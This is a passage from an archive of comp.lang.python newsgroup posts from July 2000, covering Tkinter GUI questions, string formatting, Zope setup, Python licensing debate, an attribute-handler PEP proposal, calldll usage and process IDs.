397C393F.E4AFEBB4 at schneider-kamp.de...
> Gabriel Ambuehl wrote:
> >
> > print "Hello $name"
> > would do the job. Now the only solution I could find in Python was
> > this awful
> > print "Hello %(name)s" % var()
>
> There is of course:
>
> print "Hello", name
> print "Hello", name[1]
>

... and this:

print "hello %s" % name
print "hello %s" % name[1]


Matthias
--
matthias.huening at univie.ac.at
http://www.ned.univie.ac.at/dt/





From urner at alumni.princeton.edu  Thu Jul 27 19:01:35 2000
From: urner at alumni.princeton.edu (Kirby Urner)
Date: Thu, 27 Jul 2000 16:01:35 -0700
Subject: PY to HTML
References: <IZ%f5.2964$kh.401847@news2.rdc2.on.home.com>
Message-ID: <3jd1osceobrf161hp83fhsdlnvi7o6dvpp@4ax.com>

"Colin Meeks" <colinmeeks at home.com> wrote:

>Does anybody know anything that will enable me to convert a Python script to
>HTML, so I can display it on a webpage nicely formatted with syntax colour
>coding.  Manually coding is a pain in the posterior :-)
>
>Colin
>

Yes, some folks have put out the components you need, 
one of them by Guido's bro, Just van Rossum.

You need py2html and PyFontify. 

I've made them downloadable for you at
ftp://ftp.teleport.com/pub/users/pdx4d/python/

along with html.py -- a few lines I wrote to glue these 
together and make conversion easier.  You just go:

 >>> import html
 >>> html.convert("turtles")  # no file extension (assumes .py)
 OK

and you'll have turtles.html (or whatever).

Note:  I changed py2html slightly to make its colors 
match the ones used by Windows IDLE.  I've used this
colorizing capability a lot at:

http://www.inetarena.com/~pdx4d/ocn/numeracy0.html

(my 'Numeracy + Computer Literacy' series, featuring
Python as teaching language -- see the Python edu-sig
for more ramblings and background about it).

Also:  the above utilities do not, so far as I know,
color code cut 'n paste transcripts from the 
command window itself, just .py files.  I still to
quite a bit of manual colorizing of cut 'n paste 
sessions.


Kirby



From erno at iki.fi  Tue Jul 18 10:07:33 2000
From: erno at iki.fi (Erno Kuusela)
Date: 18 Jul 2000 17:07:33 +0300
Subject: Reading asynchronous data from a serial device
References: <8kuvg0$kg2$1@nnrp1.deja.com> <1zIc5.1394$6E.263441@ptah.visi.com>
Message-ID: <ku7lajwmze.fsf@lasipalatsi.fi>

>>>>> "Eric" == Eric Hopper <hopper at omnifarious.mn.org> writes:

    Eric> I'm not sure how to start it as a daemon thread.

try Thread.setDaemon().

  -- erno


From level2junkie at my-deja.com  Wed Jul 26 11:02:41 2000
From: level2junkie at my-deja.com (level2junkie at my-deja.com)
Date: Wed, 26 Jul 2000 15:02:41 GMT
Subject: SetupTK.py
Message-ID: <8lmuif$lnd$1@nnrp1.deja.com>

I am trying to run the SetupTK.py file that comes in with Gordon
Mcmillan's software.  Has anyone successfully run this script?  I have
tried and I keep getting this:

D:\ICE DEV\Frame138b>python SetupTK.py
Finding TK installation...
Analyzing python dependencies of Tkinter D:\Program
Files\Python\Lib\lib-tk\Tk
ter.py
analyzing win32api
 found KERNEL32.dll
 found USER32.dll
 found ADVAPI32.dll
 found SHELL32.dll
 found OLEAUT32.dll
 found PyWinTypes15.dll
 found python15.dll
 found MSVCRT.dll
analyzing PyWinTypes15.dll
 found KERNEL32.dll
 found USER32.dll
 found ADVAPI32.dll
 found ole32.dll
 found OLEAUT32.dll
 found python15.dll
 found MSVCRT.dll
analyzing python15.dll
 found KERNEL32.dll
 found USER32.dll
 found ADVAPI32.dll
 found WSOCK32.dll
 found WINMM.dll
 found MSVCRT.dll
analyzing _tkinter
 found tcl80.dll
 lib not found: tcl80.dll dependency of  found tk80.dll
 lib not found: tk80.dll dependency of  found python15.dll
 found MSVCRT.dll
 found KERNEL32.dll
Could not find tcl binaries!
Operation aborted.

I have been running tcl/tk on my machine for months, and I haven't had
a problem with it before.  All of my tcl/tk stuff still runs fine.  I
am at a complete loss as to why or how this couldn't work. I thought I
had installed Tkinter correctly, all of my scripts that use Tkinter
work great.  Help.

-Chris



Sent via Deja.com http://www.deja.com/
Before you buy.


From jerome.quelin at insalien.org  Thu Jul  6 07:53:50 2000
From: jerome.quelin at insalien.org (Jerome Quelin)
Date: Thu, 6 Jul 2000 13:53:50 +0200
Subject: tkinter frames problem
References: <39643935.3DF3FF3C@structurex.net>
Message-ID: <962884430.572613412@news.libertysurf.fr>

walter hanagriff <walter111 at structurex.net> wrote:
>this is just a framework i am using as a simplified test case for adding
[snip]
>i think that best explains what i want, any help would be appreciated

I don't know if this is what you want, but check the code below (run it as a
standalone app, it should work):

-- File test.py
#!/usr/bin/python
from Tkinter import *

class Main:
    def __init__(self, root):
        # The top label.
        text = 'this program figures the area, perimeter, and power of n'
        text = text + '\n' + '_'*len(text)
        Label(root, text=text).pack(side=TOP, fill=X)

        # The 'main' panel  to command the option frame to show.
        self.var = StringVar()
        self.var.set('power')
        main = Frame(root, bd=2, relief=SUNKEN)
        Radiobutton(main, text="1 = Find the power of a number", value='power',
                    command=self.update_frame, variable=self.var).pack(anchor=W)
        Radiobutton(main, text="2 = Find the area of a shape", value='area',
                    command=self.update_frame, variable=self.var).pack(anchor=W)
        Radiobutton(main, text="3 = Find the perimeter of a shape", value='perim',
                    command=self.update_frame, variable=self.var).pack(anchor=W)
        Button(main, text="Close", command=root.destroy).pack(padx=10, pady=10)
        main.pack(side=LEFT, padx=5, pady=5)

        # Create 3 frames, one for each option.
        self.frames = { 'power': Frame(root),
                        'area':  Frame(root),
                        'perim': Frame(root) }

        # Populate the option frames at your convenience.
        prefix = 'this frame is where you put information to get '
        list = (('power', 'power of n'),
                ('area',  'the area of a shape'),
                ('perim', 'the perimeter of a shape'))
        for (frame_name, text) in list:
            frame = self.frames[frame_name]
            text = prefix + text
            text = text + '\n' + '_'*len(text)
            Label(frame, text=text).pack(expand=YES, fill=BOTH)

        # We start with one frame.
        self.update_frame()

    def update_frame(self):
        # Unpack every option frame.
        for n in self.frames.keys(): self.frames[n].pack_forget()
        # Pack the current option frame.
        self.frames[self.var.get()].pack(side=RIGHT)
        
if __name__== '__main__':
    root = Tk()
    root.title('test')
    start = Main(root)
    root.mainloop()
-- End of file

I throw up your class Func and swept a little your code. Hope this helps ?

Regards,
Jerome
--
jerome.quelin at insalien.org


From eq3pvl at eq.uc.pt.bbs  Mon Jul 17 12:20:02 2000
From: eq3pvl at eq.uc.pt.bbs (eq3pvl at eq.uc.pt.bbs)
Date: 17 Jul 2000 16:20:02 GMT
Subject: Zope newbie
Message-ID: <3bRI12$krv@openbazaar.net>

coughlan at gothaminteractive.com wrote:

> I've just installed Zope on Linux, and the documentation that comes
> with it refers almost exclusively to NT!?  There is very little on Zope
> with Apace.
>
> Does anyone know of a URL or forum to get a decent tour of Zope on
> Linux?  zope.com is also *very* dissappointing.

The website is www.zope.org

> It's unclear to me how to even create a hello world program to make
> sure it's installed and running.  Any advice, would be appreciated.

check in the /doc directory for install information. You don't need to use

apache to check if Zope works, use Zope internal server instead.

There are serveral ways to use Zope with Apache. For fastcgi, my
favourite,
in zope.org check for the fastcgi howto (under documentation-howtos).

regards

pedro


From nobody at nowhere.nohow  Sun Jul 16 12:14:23 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 16 Jul 2000 16:14:23 GMT
Subject: help with tkinter coding
References: <396FDD54.E2DD84FF@structurex.net> <8kpqee$7jn$1@nnrp1.deja.com>
Message-ID: <zblc5.1315$6E.225843@ptah.visi.com>

On Sat, 15 Jul 2000 13:54:28 GMT, John Grayson <johngrayson at home.com> wrote:
>
>It just happens that one of the sample chapters for Python
>and Tkinter Programming is on geometry managers. It might
>help you understand how the Packer works...
>
>    http://www.manning.com/Grayson/chapt05.pdf
>

I highly recommend John's book for somebody new to Tk.  It's a
well-written book, the examples are complete enough to be
useful, and the editting job is first-rate: there are very few
mistakes (especailly for a first edition).

-- 
Grant Edwards                   grante             Yow!  HAIR TONICS, please!!
                                  at               
                               visi.com            


From fichou at katamail.com  Mon Jul 24 16:01:00 2000
From: fichou at katamail.com (Patrick Fichou)
Date: Mon, 24 Jul 2000 22:01:00 +0200
Subject: Python 3000
Message-ID: <8li7ah$ign$1@serv1.albacom.net>

Anyone knows more about what will be Python 3000 ? It seems that it will be
the next evolution of this language, after the 1.7 version. The big issue is
that Python 3000 would not be compatible withe the actual 1.n language !?
How it is possible and what it means ?

Patrick





From kpmurphy at my-deja.com  Mon Jul 10 14:54:03 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 10 Jul 2000 18:54:03 GMT
Subject: Tkinter Option (Radio) Buttons
References: <Haoa5.50544$dF.2046832@news1.rdc1.il.home.com>
Message-ID: <8kd642$2qk$1@nnrp1.deja.com>

In article <Haoa5.50544$dF.2046832 at news1.rdc1.il.home.com>,
  "dsavitsk" <dsavitsk at e-coli.net> wrote:
> If i have 3 option buttons created like in Interface() below I am able
to
> use Value() to determine which button is selected,  Is there a bit of
code
> that i could add to Value() to disable certain buttons (i don't need
the
> if...elif's, just how to disable an option of my choosing.) or a
better way
> to do this.
>
> >>> def Value():
> ...    global CnType
> ...    print CnType.get()
>
> >>> def Interface():
> ...     CnType = IntVar()
> ...     CnType.set(0)
> ...     fm = Frame()
> ...     optTp = Radiobutton(fm5, text='Button 0', variable=CnType,
value=0)
> ...     optTp.grid(row=0, column=0, sticky=W)
> ...     optTp = Radiobutton(fm5, text='Button 1', variable=CnType,
value=1)
> ...     optTp.grid(row=0, column=1, sticky=W)
> ...     optTp = Radiobutton(fm5, text='Button 2', variable=CnType,
value=2)
> ...     optTp.grid(row=0, column=2, sticky=W)
> ...     fm5.pack(side=TOP)
>
> thanks
> doug
>
>

i know that the attribute 'state' can be NORMAL or DISABLED.  try giving
each item a unique name, and then use the following command:

button_1.apply(state=DISABLED)

hope this helps :)
-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From ciminna at operamail.com  Mon Jul 31 07:45:38 2000
From: ciminna at operamail.com (Dr. V. Ciminna)
Date: Mon, 31 Jul 2000 07:45:38 -0400
Subject: subscription to newsgroup
Message-ID: <398566E2.C1FA02E2@operamail.com>

please add the following email to your subscription list:

ciminna at address.com




From g2 at seebelow.org  Mon Jul 31 14:01:43 2000
From: g2 at seebelow.org (Grant Griffin)
Date: 31 Jul 2000 11:01:43 -0700
Subject: Python license (was RE: Python plug-ins for Adobe Products available)
References: <LNBBLJKPBEHFEDALKOLCKEAHGNAA.tim_one@email.msn.com>
Message-ID: <8m4eu7$1tj1@drn.newsguy.com>

In article <LNBBLJKPBEHFEDALKOLCKEAHGNAA.tim_one at email.msn.com>, "Tim says...
>
>[Tim]
>> ...
>> We also want Python to remain GPL-*compatible*, and CNRI has changed
>> some of the language in response to Richard Stallman's objections.
>
>[Grant Griffin]
>> The following pointed question is directed at CNRI, not
>> you, Tim, but...
>>
>>    _Who died and left *Stallman* in charge_?
>
>I don't think CNRI reads comp.lang.python, so I guess I'll have to take a
>crack at it myself:  we did <wink -- although we're not quite dead yet!>.
>AFAIK, asking RMS to get involved was our idea, not CNRI's.  So don't blame
>them for this one!  Many dozens of Python projects rely on GPL compatibility
>today, and we don't want to see them get screwed. 

Sorry if I already missed it, but what in the heck is "GPL compatibility"?   We
in the Peanut Gallery aren't privy to the details of the license being
considered, but AFAICT, Python's old (beloved) license was not what one might
call "GPL compatible" in that it had virtually no restrictions.  (The GPL
preserves freedom mainly by restricting.  That Richard Stallman is a genius!) 
So how was the _old_ one "GPL compatible"?  (I'm confused...)

>While I'm not directly
>involved in the negotiations, I've seen much of the email traffic about it,
>and RMS has been extremely helpful in explaining his concerns and even
>suggesting specific changes to CNRI's language that he would accept.  If GPL
>compatibility is something you want to assure, can you think of anyone
>better to ask than RMS?  I sure can't.  Whether you like him or not,

Don't get me wrong, I like _him_ just fine: it's mainly his ideas and methods
that I disapprove of. <wink>

>he's
>the most competent enitity in the universe to address GPL issues.

Sorry but I'm confused again...if a qualified lawyer can't become a greater
authority on a license after studying it for a bit (at $200 an hour <wink>) than
a genius-level Computer Scientist (at $200 an hour <wink>), said contract
probably isn't worth the bits it's written on--at least not to The Party of the
First Part and The Party of the Second Part.

Isn't the law run mainly by lawyers?

(BTW, does anybody know if the GPL ever been tested in court?)

>And he's
>been a good friend to Python despite that it wasn't released under a GNU
>license.

Now _that's_ what I like about him: he's flexible. <wink>

(i-guess-stallman-isn't-the-root-of-all-square-meanness-after-all
   -<wink>)-ly y'rs,

=g2
p.s.  I think one day, Richard Stallman will be remembered for helping create a
great movement he never intended: "free software" in the Python, not GPL sense.

_____________________________________________________________________

Grant R. Griffin                                       g2 at dspguru.com
Publisher of dspGuru                           http://www.dspguru.com
Iowegian International Corporation            http://www.iowegian.com



From Norbert.Klamann at pobox.com.bbs  Mon Jul 17 09:00:02 2000
From: Norbert.Klamann at pobox.com.bbs (Norbert.Klamann at pobox.com.bbs)
Date: 17 Jul 2000 13:00:02 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
Message-ID: <3bRCd2$kCJ@openbazaar.net>

In article <ZBAc5.4042$4p3.30213 at news-server.bigpond.net.au>,
  "Neil Hodgson" <neilh at scintilla.org> wrote:
>    132 defaults to using Unicode for editing Python source code and
the
> interactive window. To stop this, open
Pythonwin\pywin\scintilla\view.py,
> find the OnInitialUpdate method and comment out the two lines under "#
> Enable Unicode if we can". Save the file, shut down Pythonwin and
restart it
> and see if this fixes the problem.
>
>    Yes, there should be an option to control this.
>
>    Neil
>
>

Thanks a lot, Neil, that fixes the problem

Norbert
--
Norbert Klamann
Klamann Software & Beratung GmbH
Erftstadt Germany
Klamann.Software at pobox.com


Sent via Deja.com http://www.deja.com/
Before you buy.


From setok at fishpool.com  Fri Jul 28 13:06:34 2000
From: setok at fishpool.com (Kristoffer Lawson)
Date: 28 Jul 2000 17:06:34 GMT
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net> <398126DE.6E2C2627@ajubasolutions.com>
Message-ID: <8lseiq$1trq$1@news.bbnetworks.net>

In comp.lang.tcl Dan Kuchler <kuchler at ajubasolutions.com> wrote:

: http://www.perl.org/perl6/pr/initial_meeting.html

: Lots if interesting little tidbits in here.

Of which the most interesting seems to be that they want Perl to 
be everything for everyone. Somehow I have this image of a star
exploding. It'll probably still be popular, though...

-- 
         -     ---------- = = ---------//--+
         |    /     Kristoffer Lawson      |  www.fishpool.fi|.com
         +-> |    setok at fishpool.com       |  - - --+------
             |-- Fishpool Creations Ltd - /         |
             +-------- = - - - = ---------      /~setok/


From lars.lundstedt at telia.com  Mon Jul 10 13:17:38 2000
From: lars.lundstedt at telia.com (Lars Lundstedt)
Date: Mon, 10 Jul 2000 17:17:38 GMT
Subject: Enumerating drives
Message-ID: <Syna5.206$967.189230592@newsb.telia.net>

Anyone know how to enumerate drives (local and network) in Python?


/LasseLu




From paul at prescod.net  Mon Jul 24 02:00:02 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 24 Jul 2000 01:00:02 -0500
Subject: Attributes PEP Enhancement
Message-ID: <397BDB62.9BA93128@prescod.net>

Okay, the strong preference of people on the list is for separate method
handlers for __set_XXX__ and __get_XXX___. I propose the following
algorithm to try and keep performance reasonable (though probably not as
good as with the single-method proposal).

When Python sees a class like this:

class Foo:
    def __set_XXX__( self ):
        pass

It would add two things to the class's dict.

__set_XXX__ = <unbound method>
XXX = <attribute handler flag object>

Now let's say you see this code:

Foo().XXX

This will find the attribute handler object. It will discard that object
immediately and *restart* its search at the beginning, now looking for
__get_XXX__.  In other words, it detects that XXX is a "special
attribute" because of an entry in the dictionary but it uses full Python
inheritance rules to find the appropriate method. In essence the
attribute handler object is *just a flag* not a useful piece of
information. The flag is important because how else would we know when
to look for a __get_XXX__ function? When we are looking up attributes
that do NOT have handlers, the performance should be identical to today.

If you do this:

foo=Foo()
foo.__dict__["XXX"]=5

...you will blow away all three attribute handlers for that attribute.
You can get them back by reassigning the attribute handler flag object
to foo.XXX.

If there is no getattr defined then it looks for a generic __getattr__
(as per usual) and otherwise raises AttributeError.

Setattr works like this: First it does a getattr to see if there is an
attribute handler object. This first getattr can be optimized away for
objects that have no attribute handlers at all. If there is no attribute
handler flag for XXX, the code continues as with today's Python.

If there is a handler flag, Python looks for a setter function. If it
finds one, it calls it. If it can't find it then we have somewhat of a
problem. We can either just allow the write using traditional Python
rules or raise an AttributeError. I think that the latter is appropriate
because remember what the former will do. It will *overwrite your
handler*. That isn't a good default action. Another possible default
action is to write to __XXX instead of XXX. 

It would be nice if foo.__dict__["XXX"] were "available" for use rather
than reserved by the mechanism but I don't see how to work that and
still get decent performance for property gets -- especially property
gets that are NOT related to the feature. Anyhow, hacking your
dictionary is ugly. Just use foo.__xxx .

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From KatMouse at gmx.de  Tue Jul 25 16:33:18 2000
From: KatMouse at gmx.de (Eduard Hiti)
Date: Tue, 25 Jul 2000 22:33:18 +0200
Subject: Type inference for JScript.NET
Message-ID: <8lktiq$rgv$14$1@news.t-online.com>

There is an article on MSDN
(http://msdn.microsoft.com/voices/scripting07142000.asp) about .NET
enhancements of JScript, the Microsoft dialect of Javascript.
Among the known things like compilation to IL bytecode there is mentioning
of optional typing of variables to boost performance and even - type
inference! (although rudimentary).

Nice features - leaving the question: will there be something similar for
python# | python.NET ?





From jeremy at beopen.com  Mon Jul 10 09:47:36 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: 10 Jul 2000 09:47:36 EDT
Subject: Feature Request: IPv6 support built into 1.6/2.0
References: <Pine.LNX.4.21.0007091035410.5775-100000@hexamon.thistledown.org>
Message-ID: <blg0pihz6z.fsf@bitdiddle.concentric.net>

Olmy <olmy at thistledown.org> writes:

> Has there been any consideration of rolling the KAME IPv6 patches 
> to Python into the official release?

No once considered it before your message arrived.

> It would be quite interesting to start using python to code 
> some small ipv6 utilities here and there.
> 
> Any thoughts? Are there more appropriate methods to submit feature 
> requests?

Two thoughts:

- I don't know of any developers running on an IPv6-enabled machine.
It's hard to test patches if we can't run the code.

- If we can find someone who can test the IPv6 pathces, that person
can submit them using the SourceForge patch manager.
http://sourceforge.net/patch/?group_id=5470

-- Jeremy Hylton <http://www.python.org/~jeremy/>


From hsl at tcp.co.uk  Tue Jul 11 00:55:29 2000
From: hsl at tcp.co.uk (Martin Rand)
Date: Tue, 11 Jul 2000 05:55:29 +0100
Subject: Language Challenge -- Results
References: <396A493A.DE1DF77B@sdynamix.com>
Message-ID: <a4alms4mfhch5qma6s7abomfo1iv8467q1@4ax.com>

On Mon, 10 Jul 2000 15:07:54 -0700, bv <bvoh at sdynamix.com> wrote:

>
>Language Challenge 2000 -- Results
>
>Contest entries have been tabulated and you're invited to find out how
>different languages fared. View the effortless solution of this
>technical problem embodying a central theme of modern engineering and
>scientific practice -- computer aided optimal design. 
>
>We'd like to particularly encourage a visit by the younger generation
>which probably never even saw a code without trailing semicolons, and to
>those who are curious how to "roll your own" before purchasing expensive
>optimization toolboxes.
>
>To view the contest summary please click on the "Language Challenge
>2000" on http://sdynamix.com
>

Er.... where was this "language challenge " publicized *before* it was
closed to all further entires?



--
Martin Rand
Highfield Software Ltd
mwr at highfield-software.co.uk
Phone: +44 (0)23 8025 2445
Fax:   +44 (0)23 8025 2445


From alex at magenta.com  Mon Jul  3 05:07:43 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 3 Jul 2000 11:07:43 +0200
Subject: Class design: accessing "private" members
References: <962352843.1667731268@news.libertysurf.fr> <8jhuvn01vs0@news2.newsguy.com> <962367319.379353174@news.libertysurf.fr> <395D79FE.4E4FDBCE@colconsulting.com>
Message-ID: <8jplbd0l5c@news2.newsguy.com>

Frank V. Castellucci <frankc at colconsulting.com> wrote in message
news:395D79FE.4E4FDBCE at colconsulting.com...
> Jerome Quelin wrote:
> >
> > "Alex Martelli" <alex at magenta.com> wrote:
> > >By calling the accessors, rather than accessing the data
> > >directly, you ensure that if somebody overrides the
> > >accessor functions in a derived class you'll be calling
> > >the derived-class versions of those functions.  If that is
> > >what you want (one direction along which you want to let
> > >inheritors of your class extend or tweak behaviour), then
> > >it's probably worth the overhead you mention.
> > The class isn't to be derived any further. It's a class that I use in an
> > application, and that may be imported in some other applications, but
not to be
> > inherited.

Then, "do the simplest thing that could possibly work" applies.

> > Then, is it better/cleaner to access private members with accessors or
not?
> > Is it a matter of style? Or are there hidden caveheats using (or not
using)
> > accessors? It _seems_ cleaner to use accessors, but man, it's quite
awkward.

I would not use accessors that feel awkward to you, without specific
purpose.

> As you really have no way to "prohibit" further derivation (unless I
> missed the "final" keyword in the reference), using your accessors and
> praying that anyone over-riding the accessor/mutator methods does the
> proper thing would be my direction.

Such "prohibition" is not hard at all:

class dontderive:
    def __init__(self):
        if self.__class__ != dontderive:
            raise "told you not to!"

class foo(dontderive):
    pass

However, I wouldn't normally do it, again under the "simplest thing"
principle.  Just documenting "this class is not meant to be derived
from, so, just don't do it, or results will be unpredictable" is likely
to be "the simplest thing that could possibly work" in this case.


Alex





From jwbnews at scandaroon.com  Sat Jul  1 23:52:33 2000
From: jwbnews at scandaroon.com (John W. Baxter)
Date: Sat, 01 Jul 2000 20:52:33 -0700
Subject: Class vrs. function
References: <395E2425.8F6F8757@uniserve.com> <395E4281.452C26DE@prescod.net> <395EAF62.4A628573@uniserve.com>
Message-ID: <jwbnews-8419AA.20523301072000@news.olympus.net>

In article <395EAF62.4A628573 at uniserve.com>, Bob van der Poel 
<bvdpoel at uniserve.com> wrote:

> Paul Prescod wrote:
> > 
> > Bob van der Poel wrote:
> > >
> > > ...
> > >
> > > Is this just a good habit being developed by those who think that
> > > classes are better than functions, or god forbid, inline code?
> > 
> > Given what you've said, that one-function class looks pretty bizarre. Is
> > there maybe something else useful about it that you haven't noticed?
> > Classes are not better than functions. They are just different. In most
> > cases, you use classes when you need to combine data and instructions.
> 
> Yes, that I understand. In some of the example code I've seen there is
> only the __init__ function and no data. That's why it doesn't make sense
> to me. Maybe I'm just having a bad day.....

Is there anything about those classes such that deriving from them would 
make sense?  If not, it's probably just a style issue (someone coming 
from SmallTalk--to pick one example--where there isn't any code outside 
some class might well do that).

Also, if the module is going to be imported, the code is handier if it 
isn't at the top level of the module:  import time may well not be the 
right time for the code to be run.  That wouldn't explain class vs 
function, though.

   --John

-- 
John W. Baxter   Port Ludlow, WA USA  jwbnews at scandaroon.com


From rlytleNOrlSPAM at tqs.com.invalid  Mon Jul 17 18:26:18 2000
From: rlytleNOrlSPAM at tqs.com.invalid (Rob)
Date: Mon, 17 Jul 2000 15:26:18 -0700
Subject: problems trying wxPython in Win 95
References: <iFtc5.19052$V34.236887@news1.sttls1.wa.home.com> <csvc5.91049$W35.2102395@news20.bellglobal.com>
Message-ID: <0d24a28c.ebd70b08@usw-ex0110-076.remarq.com>

I got wxPython to work, mostly.  I installed the update for
WinSock for win95.  I was able to try the demo, but did get
the "blue screen of death" upon exiting.   rob


* Sent from AltaVista http://www.altavista.com Where you can also find related Web Pages, Images, Audios, Videos, News, and Shopping.  Smart is Beautiful


From neilh at scintilla.org  Sun Jul 30 08:47:23 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 30 Jul 2000 12:47:23 GMT
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au> <39840d9b_1@news.newsfeeds.com> <zUUg5.16220$4p3.129370@news-server.bigpond.net.au> <39841e3a_1@news.newsfeeds.com>
Message-ID: <vtVg5.16264$4p3.129583@news-server.bigpond.net.au>

> >    Here is a sequence of calls:
> >
> > import calldll
> > kernel32 = calldll.load_library('kernel32.dll')
> > Beep = calldll.get_proc_address(kernel32, "Beep")
> > ret = calldll.call_foreign_function(Beep,'ll','l',(1000,500))
> >
> >    Neil
>
> Thx. Can you (additionally) explain the meaning of 'll' and 'l' and give
an
> example where I receive a return value (a double for example)?

   The second argument, "ll" in this case is the shape of the arguments (two
long ints in the example) and is defined in the "Extending and Embedding..."
document. The third argument is the shape of the return value, a long int
here. The last argument is a tuple contining the arguments to the called
function. The example code is already receiving a return value indicating
whether the Beep succeeded. The readme.txt says
"calldll.call_foreign_function does not yet support returning 64-bit
quantities (like C doubles)".

   Neil





From donn at u.washington.edu  Fri Jul 14 12:11:15 2000
From: donn at u.washington.edu (Donn Cave)
Date: 14 Jul 2000 16:11:15 GMT
Subject: getpid Usage
References: <slrn8mss2r.7cg.jblaine@kickflop.ne.mediaone.net> <8kksms+n5h5@eGroups.com>
Message-ID: <8kne33$4qmq$1@nntp6.u.washington.edu>

In article <8kksms+n5h5 at eGroups.com>, david at tumbleweed.com wrote:
| Is there some convenient way of getting os.getpid to return the PID of
| a given executable? What I want to do is start a process and know it's
| PID. When I do the following I get the PID of the python executable.
| 
| os.system("path")
| os.getpid()

Give me a break, in that example the "path" process should have exited
when control returns from the system() function, so there is no PID
left to report.  So the first question we have to ask is, what are
you really doing here?  Do you append an & to the command to get the
shell to run it in the background and exit?  Or does your particular
command do this on its own?

In the first case, there are a couple of things you can do.  You can
exec the command directly as the shell would do, rather than using
system() to invoke a shell.  The popen2 module does that, for an
example, and you can ignore the pipe, dup and close stuff there.
The parent fork will get the child's PID value from fork().  The
other option would be something like os.popen('cmd &\necho $!', 'r').
You will get back the PID as a text string in the pipe.

In the second case, there's nothing you can do without control over
the application, since that's where the fork you're interested in occurs.
As already suggested in another followup, in such a case the application
ought to write out its PID to a file, in the standard location for your
platform - /var/run, /etc, whatever.

	Donn Cave, donn at u.washington.edu


From swun at eSec.com.au  Mon Jul 17 02:33:02 2000
From: swun at eSec.com.au (Sam Wun)
Date: Mon, 17 Jul 2000 16:33:02 +1000
Subject: example on how to use configparser in python?
Message-ID: <3972A89E.DC9CFD19@eSec.com.au>

Does anyone have that?

Thanks
Sam.



From hopper at omnifarious.mn.org  Tue Jul 18 12:14:57 2000
From: hopper at omnifarious.mn.org (Eric Hopper)
Date: Tue, 18 Jul 2000 10:14:57 -0600
Subject: Does Python support interfaces?
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com> <vndlmz0b5jp.fsf@camelot-new.ccs.neu.edu>
Message-ID: <Rv_c5.1492$6E.294613@ptah.visi.com>

In article <vndlmz0b5jp.fsf at camelot-new.ccs.neu.edu>, Justin Sheehy
<dworkin at ccs.neu.edu> wrote:
> 
> Just define the class, and make sure that it provides the proper
> interface.  Note that I'm not using "interface" with any special
> language-dependent meaning here.  If it behaves properly, it behaves
> properly, and that is all that matters.

Whee!  Inheritance by mysteriously coinciding method names is so much fun!

--
Eric Hopper  (hopper at omnifarious.mn.org) (http://www.omnifarious.org/~hopper)



From mfletch at tpresence.com  Sun Jul 23 01:00:21 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Sun, 23 Jul 2000 01:00:21 -0400
Subject: bit manipulation frustration
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3454@VRTMAIL>

list( string) is one of the other ways :) .

Enjoy,
Mike

-----Original Message-----
From: David Goodger [mailto:dgoodger at bigfoot.com]
Sent: Sunday, July 23, 2000 12:41 AM
To: python-list at python.org
Cc: jkraska1 at san.rr.com
Subject: Re: bit manipulation frustration

...
>>> s="abcd"
>>> map(None, s)
['a', 'b', 'c', 'd']
...



From Norbert.Klamann at pobox.com  Mon Jul 17 08:46:10 2000
From: Norbert.Klamann at pobox.com (Norbert.Klamann at pobox.com)
Date: Mon, 17 Jul 2000 12:46:10 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
References: <8kuhnd$bh3$1@nnrp1.deja.com> <ZBAc5.4042$4p3.30213@news-server.bigpond.net.au>
Message-ID: <8kuv6f$kcg$1@nnrp1.deja.com>

In article <ZBAc5.4042$4p3.30213 at news-server.bigpond.net.au>,
  "Neil Hodgson" <neilh at scintilla.org> wrote:
>    132 defaults to using Unicode for editing Python source code and
the
> interactive window. To stop this, open
Pythonwin\pywin\scintilla\view.py,
> find the OnInitialUpdate method and comment out the two lines under "#
> Enable Unicode if we can". Save the file, shut down Pythonwin and
restart it
> and see if this fixes the problem.
>
>    Yes, there should be an option to control this.
>
>    Neil
>
>

Thanks a lot, Neil, that fixes the problem

Norbert
--
Norbert Klamann
Klamann Software & Beratung GmbH
Erftstadt Germany
Klamann.Software at pobox.com


Sent via Deja.com http://www.deja.com/
Before you buy.


From stadt at cs.utwente.nl  Wed Jul 12 10:15:29 2000
From: stadt at cs.utwente.nl (Richard van de Stadt)
Date: Wed, 12 Jul 2000 16:15:29 +0200
Subject: CyberChair available
Message-ID: <396C7D81.DFC479BE@cs.utwente.nl>

It didn't work for comp.lang.python.announce:

=====================
Hi. This is the qmail-send program at starship.beopen.com.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<clpa at python.net>:
Sorry, no mailbox here by that name. (#5.1.1)
=====================

So, here is the announcement:

CyberChair, an online paper submission and reviewing system (for conferences and
workshops), which has been used for the European Conference on Object-Oriented
Programming (ECOOP) since its 1997 edition, and by some other conferences as well,
is now available under the GNU General Public License.

CyberChair was written in Python (http://www.python.org). At least version 1.5.1
is needed. Until recently I had not read anything else than the Python tutorial
and this newsgroup, so CyberChair may contain "silly" Python code which could be
improved. My colleague Fred Gansevles (who pointed me at Python 4 years ago - thanks:-)
helped me out with some problems.

To get CyberChair, visit http://www.cyberchair.org/requestUse.html, fill in the details
of your webserver and conference or workshop, and download the generated customized
version.

Before downloading, you may want to try the demo system, which has been installed
at the CyberChair homepage (http://www.cyberchair.org). 

Cheers,

Richard van de Stadt


From steedman at quake.cs.fsu.edu  Sun Jul 23 05:09:46 2000
From: steedman at quake.cs.fsu.edu (Ronald Steedman)
Date: 23 Jul 2000 09:09:46 GMT
Subject: Python in game development?
